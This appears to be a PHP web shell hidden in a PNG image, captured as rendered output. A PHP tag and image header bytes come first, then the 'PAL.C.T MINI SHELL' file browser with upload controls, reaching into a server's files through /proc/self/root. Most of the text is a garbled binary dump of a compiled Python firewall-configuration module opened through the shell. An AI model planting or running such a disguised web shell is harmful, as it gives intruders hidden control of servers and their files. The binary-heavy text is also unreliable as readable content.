php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/system-config-firewall/
upload
files >> //proc/self/root/usr/share/system-config-firewall/fw_parser.pyo

Tc@sddklZddklZlZlZlZlZlZlZddk	Z	ddk
lZlZl
Z
lZlZddklZddklZddkZddkZdZdZdZd	Zd
ZdZdZd
efdYZdZ dZ!dZ"ddZ$defdYZ%ddZ&de'ddZ(dddZ)dde'dZ*dde'dZ+dZ,dS(i(tcopy(tOptiontOptionErrortOptionParsertValuest
SUPPRESS_HELPtBadOptionErrortOptionGroupN(t	getPortIDtgetPortRangetgetServiceNametcheckIPtcheckInterface(tgetByKeycCs6t}y|id\}}Wn
t}nXt|i}|djo
t}np|djottd||nFt|djo2|d|djottd||n|p:|i}|djottd
||qn|ottd||n||fS(
Nt:isport range %s is not unique.iiis1%s is not a valid range (start port >= end port).ttcptudps%s is not a valid protocol.sinvalid port definition %s.(RR(	tFalsetsplittTrueR	tstriptNoneRt_tlen(toptiontopttvaluetfailuretportstprotocoltrange((s./usr/share/system-config-firewall/fw_parser.pyt_check_ports(



(
!cCsd}d}|idd}t|djo8|dtijo$|d}|didd}nt|djo8|dtijo$|d}|didd}ndi|}|djo&|djottd|n|||fS(	Ntipv4tfilterRiitipv6tnatsipv6 has no nat support.(RRt	fw_configtFIREWALL_TYPEStFIREWALL_TABLEStjoinRR(RRRttypettabletsplitstfilename((s./usr/share/system-config-firewall/fw_parser.pyt_check_rulesfile6s'
'
cCs.t|pttd||n|S(Nsinvalid service '%s'.(tgetServiceByKeyRR(RRR((s./usr/share/system-config-firewall/fw_parser.pyt_check_serviceGs
cCsBt|p1h|d6|d6}ttd||n|S(NRRs1option %(option)s: invalid icmp type '%(value)s'.(tgetICMPTypeByKeyRR(RRRtdict((s./usr/share/system-config-firewall/fw_parser.pyt_check_icmp_typeLs

c
Csh}d}|idd}xwt|djoc|did}t|djotd|d}Pn|\}}|djo
t|p4|djo
|djp|djot|o|||<nW|djp
|d
jo't|djot|||<ntd|d}Pt|djoE|diddjo|dg}q|didd}q!|iq!W|o8h|d6|d6|d6}	t	td|	|nt
}x4dddgD]#}||ijo
t}qqWd
|ijod|ijo
t}n|o1h|d6|d6}	t	td|	|n|S(NRiit=isInvalid argument %stiftprotoRRttoaddrtportttoportRRterrors?option %(option)s: invalid forward_port '%(value)s': %(error)s.s4option %(option)s: invalid forward_port '%(value)s'.(stcpsudp(
RRRRRRR	tcounttpopRRtkeysR(
RRRtresultR8R*tkey_valtkeytvalR0((s./usr/share/system-config-firewall/fw_parser.pyt_check_forward_portSsN-&
cCs.t|pttd||n|S(Nsinvalid interface '%s'.(RRR(RRR((s./usr/share/system-config-firewall/fw_parser.pyt_check_interfaces
cOsQt|i|i}|o||jodS|ii|igi|dS(N(tgetattrtvaluestdesttensure_valuetappend(RRRtparsertargstkwargstvals((s./usr/share/system-config-firewall/fw_parser.pyt_append_uniquest_OptioncBs`eZeidZeeiZeed<eed<eed<e	ed<e
ed<eed<RS(R6t	rulesfiletservicetforward_portt	icmp_typet	interface(sportRMRNRORPRQ(t__name__t
__module__RtTYPESRtTYPE_CHECKERRR,R.R@R1RA(((s./usr/share/system-config-firewall/fw_parser.pyRLs




cCs|iddddddtdtd|id	dd
dddtd|iddd
dddddtdd
tdtd|iddd
dddddtdd
tdtd|idddd
dddddgdtdd
tdtd|idddd
dddd dtd!d
tdtd"|id#d$dd
dd%dd&dtd'd
tdtd(|id)d*dd
dd+dd&dtd'd
tdtd,|id-d.dddddtd/|id0dd
dd1dd2dtd3d
tdtd4|id5dd
dd6dd6dtd7d
tdtd8|id9dd
dd:dd;dgd
tdtd<dtd=dS(>Ns	--enabledtactiont
store_trueRDtenabledtdefaultthelpsEnable firewall (default)s
--disabledtstore_falsesDisable firewalls--addmoduletcallbackt
add_moduleR(tstringtmetavars<module>sEnable an iptables modules--removemodulet
remove_modulesDisable an iptables modules-ss	--servicetservicesRNs	<service>s*Open the firewall for a service (e.g, ssh)s-ps--portRR6s<port>[-<port>]:<protocol>s2Open specific ports in the firewall (e.g, ssh:tcp)s-ts--trustttrustRQs<interface>s)Allow all traffic on the specified devices-ms--masqtmasqsAMasquerades traffic from the specified device. This is IPv4 only.s--highs--mediums-Backwards compatibility, aliased to --enableds--custom-rulestcustom_rulesRMs[<type>:][<table>:]<filename>sSpecify a custom rules file for inclusion in the firewall, after the default rules. Default protocol type: ipv4, default table: filter. (Example: ipv4:filter:/etc/sysconfig/ipv4_filter_addon)s--forward-portROsfif=<interface>:port=<port>:proto=<protocol>[:toport=<destination port>][:toaddr=<destination address>]sForward the port with protocol for the interface to either another local destination port (no destination address given) or to an other destination address with an optional destination port. This is IPv4 only.s--block-icmpt
block_icmpRPs<icmp type>s>Block this ICMP type. The default is to accept all ICMP types.(t
add_optionRRRK(RG((s./usr/share/system-config-firewall/fw_parser.pyt_addStandardOptionssh










c	Css|iddddddtd|iddddd	dtd
|iddddddtd
dS(Ns
--no-ipsecRVRWRDtno_ipsecRZs*Disable Internet Protocol Security (IPsec)s--no-ipptno_ipps(Disable Internet Printing Protocol (IPP)s	--no-mdnstno_mdnssDisable Multicast DNS (mDNS)(RfR(RG((s./usr/share/system-config-firewall/fw_parser.pyt_addCompatOptionss

cCst|tdtd}|iddddddd	d
tddtid
tdditi|idddddddd
tdd
td|i|dS(NsSELinux Options (deprecated)sUsing these options with no additional firewall options will not create or alter firewall configuration, only SELinux will be configured.s	--selinuxRVtstoreRDtselinuxR(tchoiceR_s<mode>tchoicesRZsConfigure SELinux mode: %ss, s
--selinuxtypetselinuxtypeR^s<type>s9Configure SELinux type: Usually targeted or strict Policy(RRRfR$t
SELINUX_MODESR'tadd_option_group(RGtgroup((s./usr/share/system-config-firewall/fw_parser.pyt_addSELinuxOptionss	
cCsy|i||\}}Wn#tj
o}|i|dSXt|djo,x)|D]}|itd|q\Wn|io/tiotii	dqt
idnt|dp
d|_
nt|dp
t|_n|S(Nisno such option: %siR+t	converted(t
parse_argst	ExceptionR8RRRt_fw_exitR$tuit
parse_exittsystexitthasattrR+RRu(RGRHtoptionst_optionst_argsR8targ((s./usr/share/system-config-firewall/fw_parser.pyt_parse_argss$




t
_OptionParsercBs\eZd	dZd	dZdd	dZdZdZdZdZ	dZ
RS(
cCsl|djo
ti}n|i}t|to%|i|}|i|d}n|i|dS(Ntreplace(	RR{tstdouttformat_helpt
isinstancetunicodet
_get_encodingtencodetwrite(tselftfiletstrtencoding((s./usr/share/system-config-firewall/fw_parser.pyt
print_helps

cCsdS(N((RR((s./usr/share/system-config-firewall/fw_parser.pytprint_usagesicCsQ|o/tiotii|q6ti|IJntip
t|_ndS(N(R$Rytparse_errorR{tstderrRRx(Rtstatustmsg((s./usr/share/system-config-firewall/fw_parser.pyR|s

cCsD|iod|i|f}n
t|}|idd|dS(Ns%s: %siR(t
_fw_sourceRR|(RRttext((s./usr/share/system-config-firewall/fw_parser.pyR8$s
cCs(|ii|o|St|dS(N(t	_long_optthas_keyR(RR((s./usr/share/system-config-firewall/fw_parser.pyt_match_long_opt*scCs=y|i||Wn"tj
o}|i|nXdS(N(t_OptionParser__process_long_optRwR8(RtrargsRCR((s./usr/share/system-config-firewall/fw_parser.pyt_process_long_opt.scCs@yti|||Wn"tj
o}|i|nXdS(N(Rt_process_short_optsRwR8(RRRCR((s./usr/share/system-config-firewall/fw_parser.pyR5scCs|id}d|jo"|idd\}}t}n
|}t}|i|}|i|}|io|i}t|t	||joW|djo|i
td|qh|d6|d6}	|i
td|	q|djo|o
|}
q|djo|id}
q|o0t|g|d|d!}
|d|d5qt|d|!}
|d|5n)|o|i
td|nd}
|i||
||dS(	NiR2is%s option requires an argumentRR9s.%(option)s option requires %(count)s argumentss%s option does not take a value(R:RRRRRttakes_valuetnargsRtintR8RttupleRtprocess(RRRCRRtnext_argthad_explicit_valueRRR0R((s./usr/share/system-config-firewall/fw_parser.pyt__process_long_opt;s:



	


N(RRRSRRRR|R8RRRR(((s./usr/share/system-config-firewall/fw_parser.pyRs					cCs+tdtdt}||_t|_|S(Ntadd_help_optiontoption_class(RRRLRRx(tsourceRG((s./usr/share/system-config-firewall/fw_parser.pyt_gen_parseres		cCs;t|}t||ot|nt|||S(N(RRgRkR(RHR~tcompatRRG((s./usr/share/system-config-firewall/fw_parser.pytparseSysconfigArgsks

cCs&t|}t|t|||S(N(RRtR(RHR~RRG((s./usr/share/system-config-firewall/fw_parser.pytparseSELinuxArgsrs
cCst}|idddddddtd|idd	dd
dddtd
|idddd
dddtd|iddd
dddtd|idddd
dddtd|iddd
dddtd|iddd
dddtd|iddd dd!d"d#d$td%d&tidtd'd(iti|id)dd
dd*dtd+|id,dd
dd-dtd.t|t|tt	i
d/jo|it	id0nt
|||}t|_|djok|odt}t}x5t	i
d1D]&}|id2o
t}q@t}q@W|o|o
t|_qn|S(3Ns-?s-hs--helps--usageRVRZsShow this help messages-qs--quietRWRDtquiets9Run noninteractively; process only command-line argumentss-vs	--verbosetverbosesBe more verboses	--versiontversionsShow versions-ns	--nostarttnostarts<Configure firewall but do not activate the new configurations-ftforcesIgnore actual settingss--updatetupdatesUpdate firewall non-interactively if the firewall is enabled. This will also restart the firewall. The -n and -f options will be ignored.s	--defaultRlRYR(RnR_s<type>RosJSet firewall default type: %s. This overwrites any existing configuration.s, s--list-servicest
list_servicessList predefined services.s--list-icmp-typestlist_icmp_typessList the supported icmp types.iiis	--selinux(RRfRR$t
DEFAULT_TYPESR'RtRgRR{targvRR|RRtnofwRt
startswithR(RHR~RRGRRmtfirewallR((s./usr/share/system-config-firewall/fw_parser.pytparseLokkitArgswsd	






	




	

cCst}|idddddddtd|id	d
dddddtd|id
dddddtd|iddddddtd|iddddddddtddtidtdditit|t|t|||S(Ns-vs	--verboseRVRWRDRRZsBe more verboses-ns	--nostartRs<Configure firewall but do not activate the new configurations-fRsIgnore actual settingss--updateRsUpdate firewall non-interactively if the firewall is enabled. This will also restart the firewall. The -n and -f options will be ignored.s	--defaultRlRYR(RnR_s<type>RosJSet firewall default type: %s. This overwrites any existing configuration.s, (	RRfRR$RR'RtRgR(RHR~RRG((s./usr/share/system-config-firewall/fw_parser.pyt
parseDBUSArgss*	



	

cCs+|pdSt}t|i|_|S(N(RRRt__dict__(RCt
new_values((s./usr/share/system-config-firewall/fw_parser.pyt
copyValuess
	(-RtoptparseRRRRRRRR$tfw_functionsRR	R
RRtfw_servicesR
R-tfw_icmpR/tos.pathtosR{RR,R.R1R@RARKRLRgRkRtRRRRRRRRRR(((s./usr/share/system-config-firewall/fw_parser.pyt<module>s44(					/			D		V>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`